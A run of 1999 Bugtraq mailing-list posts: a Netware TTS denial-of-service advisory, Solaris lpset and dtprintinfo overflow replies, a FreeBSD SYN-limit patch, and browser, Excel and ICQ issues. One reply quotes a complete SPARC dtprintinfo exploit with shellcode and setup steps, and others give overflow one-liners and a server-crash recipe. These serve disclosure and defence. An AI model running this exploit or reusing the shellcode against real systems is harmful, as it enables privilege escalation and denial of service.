the process of being written to the hard drive when the system crashes, upon
reboot the partial transaction is backed out preserving the integrity of the
original data. Administrators can optionally flag a file with the TTS flag
to add this protection (typically done with databases, especially those that
have no rollback features).

TTS by default tracks 10,000 transactions, and each instance uses a small
amount of memory. If a burst of transactions are sent to the server and the
available memory is exhausted, TTS will disable. While TTS is disabled, no
updates can be made to Netware Directory Services. This can impact any program
or process that updates NDS, such as login. In extreme overrun cases, such as
very large simultaneous (or near simultaneous, actually) transactions, memory
will be depleted quick enough to crash the server.

This is not entirely uncommon, as any large burst of traffic updating NDS
will cause the problem, such as bringing up a server after several days of
downtime that has a Directory Services replica on it. Normally this can be
corrected by increasing RAM or lowering the amount of transactions tracked
from the maximum default of 10,000 down to say 5,000 by issuing the command
SET MAXIMUM TRANSACTIONS = 5000 at the console or via ServMan, and enabling
TTS by typing ENABLE TTS at the console.

However, a malicious user with proper access can force the memory depletion
and potentially crash a server that has a replica of the NDS database. This
can lead to multiple near-simultaneous server crashes.

Of course anyone with administrative access can do this, but they could
obviously do other acts that could be just as destructive, if not more so.
What is needed is the ability to create a large number of NDS updates very
quickly. For example, if a user has the ability to create a container and
add objects to it, them that user has enough authority to potentially cause
problems to TTS. Creating a container, dropping a few hundred objects into the
container via drag-and-drop and then deleting the container should suffice.

If the server lacks a large amount of free memory, the server will quite
possibly abend. In other cases, TTS is disabled, which is a form of Denial of
Service. As the messages are sent across to other servers containing NDS
replicas, they too may crash. In our test environment we were able to crash
two servers (Netware 4.1 and Netware 4.11) with a the scenario of creating a
container, adding a few hundred users, and then deleting the container.

Solution/Workaround
-------------------

NMRC has heard reports of as many as a dozen servers crashing within a couple
of minutes of each other, so apply the latest Service Pack for Netware 4.x on
all servers or upgrade to Netware 5.

Comments
--------

Novell has already been notified and they are obviously aware of the TTS
limitations (refer to the May 1997 TID 2908153 at
http://support.novell.com/cgi-bin/search/tidfinder.cgi?2908153 for an example).
Per Novell the latest patches for Netware 4.x correct the problem, and Netware
5 does not have the problem at all.

Thanks to Michel Labelle <divebchotmail.com> for notifying NMRC about this
problem.

_______________________________________________________________________________

See http://www.nmrc.org/news/ for more advisories.

    Simple Nomad    //
 thegnomenmrc.org  //  ....no rest for the Wicca'd....
    www.nmrc.org    //

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: SunOS 5.7 rmmount, no nosuid.

Re: SunOS 5.7 rmmount, no nosuid.

C.J. Oster (lordvadrPOBOX.COM)
Mon, 10 May 1999 16:20:41 -0500

On Mon, 10 May 1999, Jonas Stahre wrote:

>There is a workaround that fix the problem, just add these lines to your
>/etc/rmmount.conf:
>
>mount hsfs -o nosuid
>mount ufs -o nosuid

In testing, I found this workaround to be ineffective.  What is required
is the folowing...

mount floppy* -o nosuid
mount cdrom* -o nosuid

PS Tested on an Ultra10 with a floppy.

-CJO-


                C.J. Oster (Linux Guru/Surge Addict)
------------------------------------------------------------------
| cjopobox.com   |   910 S. 3rd St, #1218  |	CCSO, WSG, UIUC  |
| osteruiuc.edu  |   Champaign, IL 61820   |	1443 DCL, Urbana |
| ---------------------------------------------------------------|
|    PGP: 87D5 4216 43A1 42D6 754D  8F5E 24B3 992A B7A1 F556     |
------------------------------------------------------------------
		   (580)761-6393 (217)328-8934
      "Linux, for people with an IQ above 98" - Bumper Sticker
 "Hm, a little big for a cup holder... Why does it say '4x' on it?"

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: nidsbench announcement

nidsbench announcement

Dug Song (dugsonganzen.com)
Thu, 13 May 1999 14:16:31 -0400

Anzen Computing is pleased to announce the initial release of
nidsbench, a network intrusion detection system test suite.

nidsbench is being published in the hopes that a more precise testing
methodology might be applied to network intrusion detection, which is
still a black art at best.

This release of nidsbench includes:

fragrouter:

   Implement all IP fragmentation attacks outlined in T. Ptacek and
   T. Newsham's "Insertion, Evasion, and Denial of Service: Eluding
   Network Intrusion Detection" paper of January, 1998.

tcpreplay:

   Replay saved tcpdump(8) dumpfiles at arbitrary speeds.

nidsbench is published under a BSD-style license, and has been tested
on the following platforms:

   OpenBSD 2.x
   FreeBSD 3.x
   BSD/OS 2.x
   Linux (2.x kernels)
   Solaris 2.x (tcpreplay only)

For more information, please visit

   http://www.anzen.com/research/nidsbench/

-d.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: SunOS 5.6 (X86) lpset vulnerability

Re: SunOS 5.6 (X86) lpset vulnerability

Holt Sorenson (hsoUEN.ORG)
Thu, 13 May 1999 12:16:31 -0600

--y0ulUmNC+osPPQO6
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

On Tue, May 11, 1999 at 11:43:46AM +0900, kim yong-jun homepage=3Dce.hannam=
.ac.kr/~s96192 wrote:
> This is my second post to ButTraq.
> If  this is old, I'm sorry.
>=20
>=20
> It's buffer overflow in "/usr/bin/lpset".
>=20
> View this command :
> [loveyou/] % /usr/bin/lpset -a key=3D`perl  -e 'print "x" x 1006'` lovey=
ou
>=20
> [loveyou/] % /usr/bin/lpset -a key=3D`perl  -e 'print "x" x 1007'` lovey=
ou
> Segmentation fault
This is also present on 2.6 sparc and on 2.7 sparc:

Thu May 13 12:11:59
host1 ~ 294 $ uname -a
SunOS host1 5.7 Generic_106541-01 sun4u sparc SUNW,Ultra-1

Thu May 13 12:12:10
host1 ~ 292 $ /usr/bin/lpset -a key=3D`perl  -e 'print "x" x 1011'` alpr
Segmentation Fault

[host2] /home/user 131 > uname -a
SunOS host2 5.6 Generic_105181-13 sun4u sparc SUNW,Ultra-1

[host2] /home/user 131 > /usr/bin/lpset -a  \=20
			   key=3D`perl  -e 'print "x" x 1011'` alpr
Segmentation Fault

--=20

Holt Sorenson
hsouen.org   http://www.uen.org/staff/hso
PGP key id 0x4557CBD3 11/17/97 (DSS/Diffie-Hellman)
PGP key fingerprint "EED8 93AF 9A77 8A7A A7DB 5041 B7E1 47BA 4557 CBD3"

--y0ulUmNC+osPPQO6
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0 for non-commercial use
MessageID: Pn1JqDCrNx3tW9CNvcQ3UvmckkC4uiBI

iQA/AwUBNzsI7rfhR7pFV8vTEQJmgQCguofjWX3V8tdw0x7xYjdmMWLJ2X0AoONo
Wb4OoKYf2ry8dkVPhRjkuJxw
=pjyt
-----END PGP SIGNATURE-----

--y0ulUmNC+osPPQO6--

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: SYN floods against FreeBSD

SYN floods against FreeBSD

Richard Steenbergen (humbleLIGHTNING.NET)
Thu, 13 May 1999 11:35:43 -0700

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mimedocserver.cac.washington.edu for more info.

---1496513341-362697548-926620543=:25123
Content-Type: TEXT/PLAIN; charset=US-ASCII

Here's a quickie for the people who have been plagued with high bandwidth
syn flood attacks, a kernel patch for FreeBSD 3.1-STABLE which rate limits
SYN processing. Its messy but functional and I don't have time to make it
better (thats the fbsd developers job, not mine :P), cd /usr/src/sys,
patch < synlim, add "options SYN_RATELIM" (I highly recommend ICMP_BANDLIM
as well) to your kernel, recompile, and sysctl net.inet.tcp.synlim will be
available (default to 100). This is the maximium number of SYNs per second
that will be processed, the rest will be silently discarded. On my test
system (P2 450 running 3.1-stable being hit w/15,000 packets per sec),
this has successfully brought CPU usage from 100% to ~20% (against an open
port which is replying with unacknowledged ACKs).

Which brings us to the more sticky topic of kernel panics when under SYN
flood (which I believe to be the cause of some earlier posts from certain
people at Exodus Communications *cough*). Lord knows I found enough of
them when doing this testing, but the one that seems to be the biggie for
crashing when under syn flood is as follows (heh just turned off the
synlim and panic'd within 8 seconds while writing this):

panic: free: multiple frees
(kgdb) bt
#0  boot (howto=256) at ../../kern/kern_shutdown.c:285
#1  0xc0138c09 in panic (fmt=0xc02192b7 "free: multiple frees")
    at ../../kern/kern_shutdown.c:446
#2  0xc0135aaf in free (addr=0xc0cdd600, type=0xc0239330)
    at ../../kern/kern_malloc.c:333
#3  0xc01768f4 in ifafree (ifa=0xc0cdd600) at ../../net/route.c:262
#4  0xc0176876 in rtfree (rt=0xc34ce700) at ../../net/route.c:236
#5  0xc0176c84 in rtrequest (req=2, dst=0xc34cbac0, gateway=0xc34cbad0,
    netmask=0x0, flags=393223, ret_nrt=0x0) at ../../net/route.c:536
#6  0xc017b34d in in_rtqkill (rn=0xc34ce700, rock=0xc0231610)
    at ../../netinet/in_rmx.c:242
#7  0xc0176064 in rn_walktree (h=0xc0cd9e00, f=0xc017b2fc <in_rtqkill>,
    w=0xc0231610) at ../../net/radix.c:956
#8  0xc017b3ec in in_rtqtimo (rock=0xc0cd9e00) at ../../netinet/in_rmx.c:283
#9  0xc013d19b in softclock () at ../../kern/kern_timeout.c:124

Which after a quick examination seems to be a perioditic routing table
cleanup. It seems that in_rtqtimo is scheduled to run every
net.inet.ip.rtexpire seconds (which is dynamicly adjusted and can never go
lower then net.inet.ip.rtminexpire). When the system is under heavy load
from processing lots of small packets (they don't even have to be SYNs,
anything which can get routed will do the trick, though the packet kiddies
would get very little gain from just sending an ip header since its going
to be padded to 64 bytes for the eth frame anyhow), this route cleanup
code will go wacking at routes it shouldn't and free some memory twice. In
the course of testing I've gotten my rtq_reallyold to -3 and seen lots of
"tvotohz: negative time difference -2 sec 0 usec". Perhaps someone with
free time or more specific knowledge of this area would like to FIX IT? =)

Perhaps when I get more free time I'll test some other *nix's. I would
really recommend putting all this rate limiting code at an ipfw level.

If you would like to contact me regarding this please use
humblequadrunner.com (at least if you want a quick reply), thanks.

--
Richard Steenbergen <humblelightning.net> humbleEFNet PGP ID: 0x741D0374
PGP Key Fingerprint: C6EF EFA0 83B2 071F 1AB6  B879 1F70 4303 741D 0374
http://users.quadrunner.com/humble

---1496513341-362697548-926620543=:25123
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=synlim
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.9905131135430.25123puffer.quadrunner.com>
Content-Description: SYN rate limit patch for fbsd 3.1
Content-Disposition: attachment; filename=synlim

KioqIGNvbmYvb3B0aW9ucy5vbGQJU2F0IE1heSAxNSAyMzowODowMyAxOTk5
DQotLS0gY29uZi9vcHRpb25zCVNhdCBNYXkgMTUgMjM6NDA6MjEgMTk5OQ0K
KioqKioqKioqKioqKioqDQoqKiogNjgsNzMgKioqKg0KLS0tIDY4LDc0IC0t
LS0NCiAgU1lTVlNITQkJb3B0X3N5c3ZpcGMuaA0KICBVQ09OU09MRQ0KICBJ
Q01QX0JBTkRMSU0NCisgU1lOX1JBVEVMSU0NCiAgDQogICMgUE9TSVgga2Vy
bmVsIG9wdGlvbnMNCiAgUDEwMDNfMUIJb3B0X3Bvc2l4LmgNCioqKiBuZXRp
bmV0L3RjcF92YXIuaC5vbGQJU2F0IE1heSAxNSAyMzoyNTozOSAxOTk5DQot
LS0gbmV0aW5ldC90Y3BfdmFyLmgJU2F0IE1heSAxNSAyMzo0NTowNSAxOTk5
DQoqKioqKioqKioqKioqKioNCioqKiA0MCw0NSAqKioqDQotLS0gNDAsNDkg
LS0tLQ0KICAgKiBLZXJuZWwgdmFyaWFibGVzIGZvciB0Y3AuDQogICAqLw0K
ICANCisgI2lmZGVmIEtFUk5FTA0KKyAjaW5jbHVkZSAib3B0X3N5bl9yYXRl
bGltLmgiDQorICNlbmRpZg0KKyANCiAgLyoNCiAgICogVGNwIGNvbnRyb2wg
YmxvY2ssIG9uZSBwZXIgdGNwOyBmaWVsZHM6DQogICAqIE9yZ2FuaXplZCBm
b3IgMTYgYnl0ZSBjYWNoZWxpbmUgZWZmaWNpZW5jeS4NCioqKioqKioqKioq
KioqKg0KKioqIDMwNSwzMTEgKioqKg0KICAjZGVmaW5lCVRDUENUTF9SRUNW
U1BBQ0UJOQkvKiByZWNlaXZlIGJ1ZmZlciBzcGFjZSAqLw0KICAjZGVmaW5l
CVRDUENUTF9LRUVQSU5JVAkJMTAJLyogcmVjZWl2ZSBidWZmZXIgc3BhY2Ug
Ki8NCiAgI2RlZmluZQlUQ1BDVExfUENCTElTVAkJMTEJLyogbGlzdCBvZiBh
bGwgb3V0c3RhbmRpbmcgUENCcyAqLw0KISAjZGVmaW5lIFRDUENUTF9NQVhJ
RAkJMTINCiAgDQogICNkZWZpbmUgVENQQ1RMX05BTUVTIHsgXA0KICAJeyAw
LCAwIH0sIFwNCi0tLSAzMDksMzE2IC0tLS0NCiAgI2RlZmluZQlUQ1BDVExf
UkVDVlNQQUNFCTkJLyogcmVjZWl2ZSBidWZmZXIgc3BhY2UgKi8NCiAgI2Rl
ZmluZQlUQ1BDVExfS0VFUElOSVQJCTEwCS8qIHJlY2VpdmUgYnVmZmVyIHNw
YWNlICovDQogICNkZWZpbmUJVENQQ1RMX1BDQkxJU1QJCTExCS8qIGxpc3Qg
b2YgYWxsIG91dHN0YW5kaW5nIFBDQnMgKi8NCiEgI2RlZmluZSBUQ1BDVExf
U1lOTElNCQkxMgkvKiBSYXRlIGxpbWl0aW5nIG9mIFNZTnMgKi8NCiEgI2Rl
ZmluZSBUQ1BDVExfTUFYSUQJCTEzDQogIA0KICAjZGVmaW5lIFRDUENUTF9O
QU1FUyB7IFwNCiAgCXsgMCwgMCB9LCBcDQoqKioqKioqKioqKioqKioNCioq
KiAzMjAsMzI1ICoqKioNCi0tLSAzMjUsMzMxIC0tLS0NCiAgCXsgInJlY3Zz
cGFjZSIsIENUTFRZUEVfSU5UIH0sIFwNCiAgCXsgImtlZXBpbml0IiwgQ1RM
VFlQRV9JTlQgfSwgXA0KICAJeyAicGNibGlzdCIsIENUTFRZUEVfU1RSVUNU
IH0sIFwNCisgCXsgInN5bmxpbSIsIENUTFRZUEVfSU5UIH0sIFwNCiAgfQ0K
ICANCiAgI2lmZGVmIEtFUk5FTA0KKioqIG5ldGluZXQvdGNwX2lucHV0LmMu
b2xkCVNhdCBNYXkgMTUgMjM6MDg6MTAgMTk5OQ0KLS0tIG5ldGluZXQvdGNw
X2lucHV0LmMJCVN1biBNYXkgMTYgMDE6MzM6NTEgMTk5OQ0KKioqKioqKioq
KioqKioqDQoqKiogNzIsNzcgKioqKg0KLS0tIDcyLDg1IC0tLS0NCiAgc3Rh
dGljIHN0cnVjdAl0Y3BpcGhkciB0Y3Bfc2F2ZXRpOw0KICAjZW5kaWYNCiAg
DQorICNpZmRlZiBTWU5fUkFURUxJTSANCisgc3RhdGljIGludCAgICAgIHN5
bmxpbSA9IDEwMDsNCisgU1lTQ1RMX0lOVChfbmV0X2luZXRfdGNwLCBUQ1BD
VExfU1lOTElNLCBzeW5saW0sIENUTEZMQUdfUlcsICZzeW5saW0sIDAsICIi
KTsNCisgI2Vsc2UNCisgc3RhdGljIGludCAgICAgIHN5bmxpbSA9IC0xOw0K
KyBTWVNDVExfSU5UKF9uZXRfaW5ldF90Y3AsIFRDUENUTF9TWU5MSU0sIHN5
bmxpbSwgQ1RMRkxBR19SRCwgJnN5bmxpbSwgMCwgIiIpOw0KKyAjZW5kaWYN
CisgDQogIHN0YXRpYyBpbnQJdGNwcmV4bXR0aHJlc2ggPSAzOw0KICB0Y3Bf
c2VxCXRjcF9pc3M7DQogIHRjcF9jYwl0Y3BfY2NnZW47DQoqKioqKioqKioq
KioqKioNCioqKiA5OCwxMDQgKioqKg0KICAJICAgIHN0cnVjdCB0Y3BpcGhk
ciAqLCBzdHJ1Y3QgbWJ1ZiAqKSk7DQogIHN0YXRpYyBpbnQJIHRjcF9yZWFz
cyBfX1AoKHN0cnVjdCB0Y3BjYiAqLCBzdHJ1Y3QgdGNwaXBoZHIgKiwgc3Ry
dWN0IG1idWYgKikpOw0KICBzdGF0aWMgdm9pZAkgdGNwX3htaXRfdGltZXIg
X19QKChzdHJ1Y3QgdGNwY2IgKiwgaW50KSk7DQohIA0KICANCiAgLyoNCiAg
ICogSW5zZXJ0IHNlZ21lbnQgdGkgaW50byByZWFzc2VtYmx5IHF1ZXVlIG9m
IHRjcCB3aXRoDQotLS0gMTA2LDExMiAtLS0tDQogIAkgICAgc3RydWN0IHRj
cGlwaGRyICosIHN0cnVjdCBtYnVmICopKTsNCiAgc3RhdGljIGludAkgdGNw
X3JlYXNzIF9fUCgoc3RydWN0IHRjcGNiICosIHN0cnVjdCB0Y3BpcGhkciAq
LCBzdHJ1Y3QgbWJ1ZiAqKSk7DQogIHN0YXRpYyB2b2lkCSB0Y3BfeG1pdF90
aW1lciBfX1AoKHN0cnVjdCB0Y3BjYiAqLCBpbnQpKTsNCiEgc3RhdGljIGlu
dAkgc3luX3JhdGVsaW0odm9pZCk7DQogIA0KICAvKg0KICAgKiBJbnNlcnQg
c2VnbWVudCB0aSBpbnRvIHJlYXNzZW1ibHkgcXVldWUgb2YgdGNwIHdpdGgN
CioqKioqKioqKioqKioqKg0KKioqIDEzMCwxMzUgKioqKg0KLS0tIDEzOCwx
ODMgLS0tLQ0KICAJfSBcDQogIH0NCiAgDQorICNpZmRlZiBTWU5fUkFURUxJ
TQ0KKyBpbnQgc3luX3JhdGVsaW0odm9pZCkNCisgew0KKyAJc3RhdGljIGlu
dCBsdGlja3M7DQorIAlzdGF0aWMgaW50IGxwYWNrZXRzOw0KKyAJaW50IGR0
aWNrczsNCisgDQorIAkvKg0KKyAJICogUmV0dXJuIG9rIHN0YXR1cyBpZiBm
ZWF0dXJlIGRpc2FibGVkIG9yIGFyZ3VtZW50IG91dCBvZg0KKyAJICogcmFu
YWdlLg0KKyAJICovDQorIA0KKyAJaWYgKHN5bmxpbSA8PSAwKQ0KKyAJCXJl
dHVybigwKTsNCisgDQorIAlkdGlja3MgPSB0aWNrcyAtIGx0aWNrczsNCisg
DQorIAkvKg0KKyAJICogcmVzZXQgc3RhdHMgd2hlbiBjdW11bGF0aXZlIGR0
IGV4Y2VlZHMgb25lIHNlY29uZC4NCisgCSAqLw0KKyANCisgCWlmICgodW5z
aWduZWQgaW50KWR0aWNrcyA+IGh6KSB7DQorIAkJaWYgKGxwYWNrZXRzID4g
c3lubGltKQ0KKyAJCQlwcmludGYoInN5biByYXRlIGxpbWl0IHJlYWNoZWQg
JWQvJWQgcHBzXG4iLCBscGFja2V0cywgc3lubGltKTsNCisgCQlsdGlja3Mg
PSB0aWNrczsNCisgCQlscGFja2V0cyA9IDA7DQorIAl9DQorIA0KKyAJLyoN
CisgCSAqIGJ1bXAgcGFja2V0IGNvdW50DQorIAkgKi8NCisgDQorIAlpZiAo
KytscGFja2V0cyA+IHN5bmxpbSkgew0KKyAJCXJldHVybigtMSk7DQorIAl9
DQorIA0KKyAJcmV0dXJuKDApOw0KKyB9DQorICNlbmRpZg0KKyANCiAgc3Rh
dGljIGludA0KICB0Y3BfcmVhc3ModHAsIHRpLCBtKQ0KICAJcmVnaXN0ZXIg
c3RydWN0IHRjcGNiICp0cDsNCioqKioqKioqKioqKioqKg0KKioqIDM3OSwz
ODQgKioqKg0KLS0tIDQyNyw0MzggLS0tLQ0KICAJCWlwX2Z3X2Z3ZF9hZGRy
ID0gTlVMTDsNCiAgCX0gZWxzZQ0KICAjZW5kaWYJLyogSVBGSVJFV0FMTF9G
T1JXQVJEICovDQorIA0KKyAjaWZkZWYgU1lOX1JBVEVMSU0NCisgCWlmICgo
dGlmbGFncyAmIFRIX1NZTikgJiYgISh0aWZsYWdzICYgVEhfQUNLKSkNCisg
CQlpZiAoc3luX3JhdGVsaW0oKSA8IDApDQorIAkJCWdvdG8gZHJvcDsNCisg
I2VuZGlmDQogIA0KICAJaW5wID0gaW5fcGNibG9va3VwX2hhc2goJnRjYmlu
Zm8sIHRpLT50aV9zcmMsIHRpLT50aV9zcG9ydCwNCiAgCSAgICB0aS0+dGlf
ZHN0LCB0aS0+dGlfZHBvcnQsIDEpOw0K
---1496513341-362697548-926620543=:25123--

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Bookmarks security vulnerabilities in both Internet Explorer

Re: Bookmarks security vulnerabilities in both Internet Explorer

Jim Reavis (jreavisSECURITYPORTAL.COM)
Tue, 11 May 1999 21:59:32 -0700

I did get this to work as described with IE 5.0 on Win 95.  It failed until
I re-read the directions and opened a local GIF with the "file:///" syntax
versus "c:\"

Using NT SP5, I got an access denied in a large dialog box that contained
Georgi's code.  He didn't mention NT in his original advisory, so I assume
it is just Win 9X issue?

Jim Reavis
SecurityPortal.com - the focal point for security on the Net
Jreavissecurityportal.com <mailto:Jreavissecurityportal.com>



		-----Original Message-----
		From:	Russ [mailto:Russ.CooperRC.ON.CA]
		Sent:	Monday, May 10, 1999 2:20 PM
		To:	BUGTRAQNETSPACE.ORG
		Subject:	Re: Bookmarks security vulnerabilities in
both Internet Explorer 5.0 and Netscape Communicator 4.51 (Win95)

		I am unable to reproduce this on IE 5.0 with SP5. I get an
error message
		stating "Cannot find server or DNS error" after following
Georgi's
		instructions using TEST.TXT.

		Even pasting the entire script in the address box fails to
reproduce his
		described effects.

		Cheers,
		Russ - NTBugtraq moderator

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: [Solaris2.6,2.7 dtprintinfo exploits]

Re: [Solaris2.6,2.7 dtprintinfo exploits]

Thiago MM Zaninotti (Thiago.M.M.ZaninottiUNILEVER.COM)
Wed, 12 May 1999 11:45:29 -0300

Hi,

dtprintinfo in HPUX does not seen to be vulnerable to the overflow problem:

% /usr/dt/bin/dtprintinfo -p `perl -e "print 'A' x 8000"`
Pathname too long.
%


Thiago Zaninotti
IMC LABG

-----Original Message-----
From:	UNYUNShadowPenguin [SMTP:yuuzyusa.net]
Sent:	Monday, May 10, 1999 1:16 AM
To:	BUGTRAQnetspace.org
Subject:	Re: [Solaris2.6,2.7 dtprintinfo exploits]

Sorry, I forgot to to write the following things...

Before execution of dtprintinfo exploit, please make a dummy
lpstat command.

for example,

% cat > lpstat
echo "system for lpprn: server.com"
^D
% chmod 755 lpstat
% setenv PATH .:$PATH
% gcc ex_dtprintinfo.c
% a.out


Following exploit program is for Sparc Solaris.
I tested on Solaris2.6.

/*========================================================================
   ex_dtprintinfo.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4thusa.net)
 =========================================================================
*/
#define ADJUST      0
#define OFFSET      1144
#define STARTADR    724
#define BUFSIZE     900
#define NOP 0xa61cc013
static char   x[1000];
unsigned long ret_adr;
int i;
char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
main()
{
    putenv("LANG=");
    for (i = 0; i < ADJUST; i++) x[i]=0x11;
    for (i = ADJUST; i < 900; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx\n",ret_adr);
    if ((ret_adr & 0xff) ==0 ){
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST; i < 600 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    x[BUFSIZE]=0;
    execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
}


The Shadow Penguin Security
(http://base.oc.to/skyscraper/byte/551)
UNYUN (unewn4thusa.net)


____________________________________________________________________
Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Corel Script Virus

Re: Corel Script Virus

Bernardo Quintero (bernardoHISPASEC.COM)
Thu, 13 May 1999 16:54:27 +0200

>>Here is my analysis of how the Corel Script virus works
>>(in Spanish... eÑe Power):
>>http://www.hispasec.com/unaaldia.asp?id=191

>(English): http://www.hispasec.com/galadriel.asp

Antivirus confirms and analyzes the first virus for Corel Draw

Central Command (AVP): http://www.avp.com/csgala/csgala.html
Data Fellows: http://www.datafellows.com/v-descs/csv.htm
Network Associates:
http://www.nai.com/about/news/press/1999/may/05-11-99_i.asp
Panda Software: http://www.pandasoftware.com/inet5657.htm
...

Bernardo Quintero
bernardohispasec.com
Primer Diario Hispano
Seguridad Informática
http://www.hispasec.com

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: ICQ99 #1800 Now Available

ICQ99 #1800 Now Available

John (flamingdogYAHOO.COM)
Thu, 13 May 1999 02:54:01 -0700

There was a new version of ICQ99, build #1800,
released early this morning (or late last night) that
supposedly fixes both the DoS attack that I discovered
(crash ICQ through the webserver using a crap load of
periods) and the file retrieval bug discovered by Jan
Vogelgesang, I think it was him, correct me if I am
wrong. Hopefully everyone and their mother will be
downloading it because the script kiddies made me
sorry I ever reported that bug.

http://www.icq.com/download/

_________________________________________________________
Do You Yahoo!?
Free instant messaging and more at http://messenger.yahoo.com

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Sun Microsystems Leaks extensive Amounts of Information About

Re: Sun Microsystems Leaks extensive Amounts of Information About

Alan Coopersmith (alancGODZILLA.EECS.BERKELEY.EDU)
Wed, 12 May 1999 09:56:00 -0700

> When logging a support call I do not often consider what might happen to the
> call notes.  I am sure that Sun are not the only company doing this and this
> is not aimed at Sun in particular, they are just an example.  Serious
> consideration should be given to what information you are prepared to pass
> to those who support you - do you trust the rest of their customers (at
> best) or the entire internet (at worst).

The actual service order notes are not available to customers through SunSolve
- but parts of bug reports that may be generated by them are.  At least a few
years ago when I worked in SunService they reminded us not to put customer
information in the public part of bug reports, but there was no review system
to make sure we didn't screw up.  If you want to protect yourself, make sure
that if your call results in a bug report you go to SunSolve and review the
public copy to make sure there's nothing in there you wouldn't want others to
see and if there is, call up your service rep and make them move it to the
sun-internal-access-only section of the bug report.

Disclaimer: I no longer work in Tech Support at Sun and do not and cannot
speak for SunService or whatever they're called after the latest "realignment
of the Sun planets".

--
________________________________________________________________________
Alan Coopersmith                        alancgodzilla.EECS.Berkeley.EDU
Univ. of California at Berkeley         http://soar.Berkeley.EDU/~alanc/
aka:     alanc{CSUA,OCF,CS,BMRC,EECS,ucsee.eecs,cory.eecs}.Berkeley.EDU

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Microsoft Security Bulletin (MS99-014)

Re: Microsoft Security Bulletin (MS99-014)

rotaiv (rotaivUSA.NET)
Thu, 13 May 1999 16:12:48 -0400

-----BEGIN PGP SIGNED MESSAGE-----

This is in response to the Microsoft Security Bulletin (MS99-014).

On 3/29/99 I posted a message to BugTraq titled, "Bypassing Excel
Macro Virus Protection".  The message explained two ways to bypass the
"Macro Virus Protection" option in Excel 97.  One is to password
protect an infected spreadsheet (Q176640) and the second is to copy an
infected spreadsheet into the XLSTART directory (Q180614).  Both
methods will open an infected spreadsheet without the macro warning
appearing.

I would love to think Microsoft Security Bulletin (MS99-014) was in
response to my email but I'll be humble and chalk it up to
coincidence.  I downloaded the patch to see if addressed the two
scenarios I described above.  I found that you will now receive the
macro warning on a password protected file but not on a file copied to
the XLSTART directory.  Also, you can still enable or disable the
macro virus protected with a simple reg hack.  I guess that is not so
important because if you can perform a reg hack, you can do a lot more
than execute an Excel macro.

I am not sure what really prompted Microsoft to release a patch for
Excel but I find it surprising that they did not address the XLSTART
option either.  They should at least give us the option of deciding if
this directory is trusted, thereby by-passing the macro virus warning.

'nuff said.

rotaiv -£-

-----BEGIN PGP SIGNATURE-----
Version: PGP Personal Privacy 6.0.2

iQEVAwUBNzsxdQuGSvRTfa2rAQHe+Af+NXzCRMZ6ALIsiezLQ5XhOuBgmRZALeoO
k2LMkGfVea8jO7olA/wtwnrS2E0eCUVSMW23ZSxkd8Q9hbYBxbc8GvPOzOTGL4EP
tmZkyvxcB2QyyDmJjIQuJQKcGCggr0ahPNr9pvv9DsBHJeRifcS6niXZrm5uQJb7
qhY4QJzAWQ9cXEiqoNuTofgR1eg276MUSuh2Om29FIjkfcMocdGghrkQLBGvN9MB
Hlm9Z7D0I3/zT88c+A6IeyZHbe9/6PaAODgn3QuhKla8PbetyGj/Qbclua5kNR/X
tVoLWIIrcA2ZKsgQn1SLtcKTqDV5KPTGrz3yB1ZH9BJ37qmXLOegfw==
=qJ15
-----END PGP SIGNATURE-----

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: SunOS 5.6 (X86) lpset vulnerability

Re: SunOS 5.6 (X86) lpset vulnerability

Sam Carter (petrovOWLNET.RICE.EDU)
Thu, 13 May 1999 11:39:18 -0500

It failed with: 'Permission denied: not in group 14' when I tried it on a
SunOS 5.6 Generic_105181-11 sun4u sparc SUNW,Ultra-250

the header stated that this was for x86, but the manpage says that:
     Only a superuser or a member of Group 14 may execute lpset.
and I'm assuming that is the same on both architectures.

--sam

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: [BIND-BUGS #18] Non-delegated master domains

Re: [BIND-BUGS #18] Non-delegated master domains

Ian Carr-de Avelon (ianEMIT.PL)
Thu, 13 May 1999 11:34:06 +0200

